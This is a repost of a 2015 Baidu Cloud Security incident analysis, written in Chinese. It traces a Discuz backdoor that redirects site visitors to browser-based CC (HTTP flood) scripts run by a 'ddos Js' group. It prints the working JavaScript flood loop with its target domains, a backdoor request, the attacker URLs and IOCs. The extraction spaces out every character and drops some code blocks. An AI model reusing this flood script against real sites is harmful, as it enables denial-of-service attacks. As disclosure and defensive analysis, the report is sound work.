搜索

[26575] 2015-11-25_从异常挖掘到CC攻击地下黑客团伙

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2015-11-25_从异常挖掘到CC攻击地下黑客团伙 从 异 常 挖 掘 到 C C 攻 击 地 下 黑 客 团 伙 百 度 云 安 全   m o o n s e c   2 0 1 5 - 1 1 - 2 5 常 挖 掘 与 回 溯 常 挖 掘 与 回 溯 1 1 月 1 3 日 , 百 度 云 安 全 天 网 系 统 , 通 过 数 十 T B 的 日 志 挖 掘 , 发 现 了 安 全 宝 某 重 点 客 户 网 站 上 的 异 常 行 为 。 之 后 我 们 的 分 析 人 员 跟 进 , 发 现 这 是 一 起 针 对 安 全 宝 某 重 点 客 户 的 持 续 攻 击 。 最 终 在 客 户 系 统 上 放 置 了 W e b 后 门 。 该 W e b 后 门 的 通 信 如 下 : 1 2 3 4 5 从 通 信 流 量 上 看 , 并 未 触 发 任 何 报 警 。 同 时 , 客 户 的 日 志 里 也 并 未 保 存 h t t p   r e s p o n s e 的 数 据 。 天 网 系 统 中 的 谛 听 模 块 通 过 对 网 站 的 访 问 行 为 进 行 建 模 , 通 过 每 个 被 防 护 的 网 站 日 志 训 练 出 这 个 网 站 特 有 的 访 问 模 型 。 包 括 网 站 参 数 的 模 型 , 网 站 访 问 路 径 的 模 型 , 网 站 访 问 s e s s i o n 的 模 型 。 黑 客 这 次 的 访 问 行 为 触 发 了 网 站 访 问 路 径 模 型 的 异 常 。 该 模 型 中 通 过 每 个 路 径 访 问 的 频 度 广 度 和 路 径 之 间 的 访 问 关 系 等 f e a t u r e , 训 练 出 针 对 每 个 网 站 特 定 的 路 径 视 图 。 我 们 在 系 统 中 对 该 客 户 的 所 有 历 史 日 志 进 行 了 回 溯 , 发 现 该 黑 客 在 9 月 2 4 日 就 已 经 对 该 客 户 展 开 了 尝 试 性 的 攻 击 。 通 过 进 一 步 的 分 析 , 我 们 发 现 , 该 攻 击 者 修 改 了 D i s c u z 系 统 的 c l a s s _ c o r e . p h p 。 在 该 c l a s s _ c o r e . p h p 中 添 加 的 代 码 如 下 : P O S T   / u c _ s e r v e r / d a t a / l o g s / 2 0 1 4 0 7 0 8 . p h p ? v = 1 a   H T T P / 1 . 1 H o s t :   b b s . x x x x x . c o m R e f e r e r : h t t p : / / b b s . x x x x x . c o m / u c _ s e r v e r / d a t a / l o g s / 2 0 1 4 0 7 0 8 . p h p ? v = 1 a U s e r - A g e n t :   S o g o u C o n t e n t - L e n g t h :   6 0
从 该 代 码 中 , 我 们 可 以 做 出 以 下 结 论 : i .   这 次 攻 击 不 是 小 范 围 的 针 对 单 个 站 点 的 攻 击 , 而 是 攻 击 了 多 个 站 点 i i .   该 代 码 中 并 未 指 定 特 定 的 C C 攻 击 的 目 标 , 而 是 通 过 L o c a t i o n 统 一 跳 转 到 h t t p : / / f i l e . l b g o o . c o m / f i l e _ 1 2 0 / 3 7 / v e r . p h p , 由 该 u r l 指 定 最 终 的 攻 击 目 标 。 影 响 确 认 和 攻 击 代 码 影 响 确 认 和 攻 击 代 码 我 们 从 C C 的 攻 击 代 码 中 提 取 了 以 下 特 征 f u w u q i b e i h e i k e r u q i n , 在 现 有 的 网 页 情 报 库 中 搜 索 , 发 现 以 下 的 链 接 地 址 : h t t p : / / w w w . e o e a n d r o i d . c o m / f o r u m . p h p ? w a n g z h a n b e i h e i & f u w u q i b e i h e i k e r u q i n & q i n g g e n g h u a n f u w u q i & c h o n g z h u a n g w a n g z h a n 判 断 e o e a n d r o i d 也 被 这 样 攻 击 过 。 1 1 月 2 0 日 , h t t p : / / f i l e . l b g o o . c o m / f i l e _ 1 2 0 / 3 7 / v e r . p h p 请 求 被 重 定 向 到 h t t p : / / w w w . e o e a n d r o i d . c o m / f o r u m . p h p ? , 1 1 月 2 0 日 发 现 e o e a n d r o i d 已 经 5 0 3 了 。 该 攻 击 手 法 被 进 一 步 确 认 我 们 又 对 该 代 码 中 提 及 到 的 p h p 1 0 0 . c o m   w w w . d m 1 2 3 . c n 和 1 2 e d u . c o m 进 行 访 问 。 发 现 如 下 : 以 d m 1 2 3 . c n 为 例 : 显 然 该 网 站 被 利 用 来 做 C C 攻 击 。 同 时 我 们 针 对 以 上 网 站 挂 C C 攻 击 的 j s 进 行 了 分 析 , 发 现 有 三 种 。 a .   d m 1 2 3 . c n 中 , 直 接 在 d m 1 2 3 网 站 上 挂 j s , 脚 本 路 径 如 下 h t t p : / / w w w . d m 1 2 3 . c n / g d . j s 2 .   p h p 1 0 0 . c o m 中 , 托 管 在 S A E 上 的 攻 击 脚 本 , 脚 本 路 径 如 下 : h t t p : / / j s d d o s . s i n a a p p . c o m / d d o s . j s 3 .   1 2 e d u . c o m 中 , 通 过 a p i 接 口 动 态 获 得 要 攻 击 的 网 站 , 更 加 难 以 定 位 : h t t p : / / w w w . 1 2 e d u . c o m / a p i . p h p ? o p = c o u n t & i d = 3 4 3 8 0 & m o d e l i d = 1 以 上 三 种 方 式 , 从 扫 描 器 检 测 的 角 度 来 看 , 复 杂 度 逐 渐 增 大 。 第 一 种 情 况 下 , 是 直 接 检 测 本 域 下 的 j s 。 第 二 种 则 需 要 检 测 外 链 j s , 检 测 量 大 大 增 大 了 。 而 第 三 种 则 是 在 已 有 的 j s 里 面 没 有 攻 击 代 码 。 攻 击 的 代 码 是 通 过 a p i 接 口 动 态 获 得 的 。
攻 击 用 的 j s 代 码 如 下 : 1 2 3 4 5 6 7 8 9 1 0 1 1 1 2 1 3 1 4 1 5 1 6                         被 攻 击 域 名 包 括 重 要 政 府 网 站 和 国 家 级 新 闻 媒 体 身 份 确 认 身 份 确 认 通 过 域 名 的 相 似 度 , 我 们 在 现 有 的 网 页 情 报 库 中 发 现 了 如 下 域 名 : 博 客 : h t t p : / / j s d d o s . b l o g . 1 6 3 . c o m / 论 坛 : h t t p : / / w w w . j s d d o s . c o m / 在 1 6 3 博 客 上 可 以 看 到 , 该 团 队 名   d d o s   J s 团 队 , Q Q   2 在 网 页 情 报 库 中 查 找 该 Q Q , 可 以 发 现 h t t p : / / w w w . m s p y c n . c o m / a b o u t . h t m l 看 来 除 了 卖 d d o s 的 服 务 , 还 在 卖 手 机 监 听 软 件 的 服 务 对 该 域 名 的 w h o i s 进 行 查 询 , 如 下 : f u n c t i o n i m g f l y y g f f g d s d d f g d ( )   { v a r T A R G E T   =   ' w w w . h a n y o u w a n g . c o m ' v a r U R I   =   ' / i n d e x . p h p ? w a n g z h a n b e i h e i & f u w u q i b e i h e i k e r u q i n & q i n g g e n g h u a n f u w u q i & c h o n g z h u a n g w a n g z h a n & ' v a r p i c   =   n e w I m a g e ( ) v a r r a n d   =   M a t h . f l o o r ( M a t h . r a n d o m ( )   *   1 0 0 0 ) p i c . s r c   =   ' h t t p : / / ' + T A R G E T + U R I + r a n d + ' = v a l ' } s e t I n t e r v a l ( i m g f l y y g f f g d s d d f g d ,   0 . 1 ) f u n c t i o n i m g f l y y g f f h g h d d f g d ( )   { v a r T A R G E T   =   ' w w w . w e s h e q u . c o m ' v a r U R I   =   ' / S e a r c h / v - w a n g z h a n b e i h e i & f u w u q i b e i h e i k e r u q i n & q i n g g e n g h u a n f u w u q i & c h o n g z h u a n g w a n g z h a n & ' v a r p i c   =   n e w I m a g e ( ) v a r r a n d   =   M a t h . f l o o r ( M a t h . r a n d o m ( )   *   1 0 0 0 ) p i c . s r c   =   ' h t t p : / / ' + T A R G E T + U R I + r a n d + ' = v a l ' } s e t I n t e r v a l ( i m g f l y y g f f h g h d d f g d ,   0 . 1 )
从 我 们 发 现 该 攻 击 到 发 稿 前 , 该 黑 客 做 了 如 下 的 事 情 , i .   修 改 了 h t t p : / / f i l e . l b g o o . c o m / f i l e _ 1 2 0 / 3 7 / v e r . p h p 的 指 向 i i .   P h p 1 0 0 . c o m 已 经 不 再 受 影 响 后 续 后 续 我 们 有 理 由 相 信 , 这 是 一 个 在 不 断 进 化 的 地 下 黑 客 团 体 。 通 过 更 加 隐 蔽 的 手 法 进 行 C C 攻 击 挂 马 。 该 问 题 的 影 响 范 围 目 前 我 们 还 在 进 一 步 确 认 。 欢 迎 业 内 同 仁 继 续 跟 进 分 析 。 如 果 你 想 查 看 自 己 的 网 站 是 否 受 影 响 , 有 两 个 步 骤 : 打 开 网 站 , 随 机 访 问 几 个 页 面 , 查 看 下 面 是 否 会 发 起 连 续 的 对 其 他 网 站 的 请 求 查 看 是 否 会 发 起 请 求 : h t t p : / / f i l e . l b g o o . c o m / f i l e _ 1 2 0 / 3 7 / v e r . p h p 我 们 从 该 攻 击 中 提 取 了 以 下 信 息 作 为 攻 击 情 报 或 者 I O C : h t t p : / / f i l e . l b g o o . c o m / f i l e _ 1 2 0 / 3 7 / v e r . p h p 本 文 转 载 自   百 度 云 安 全
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理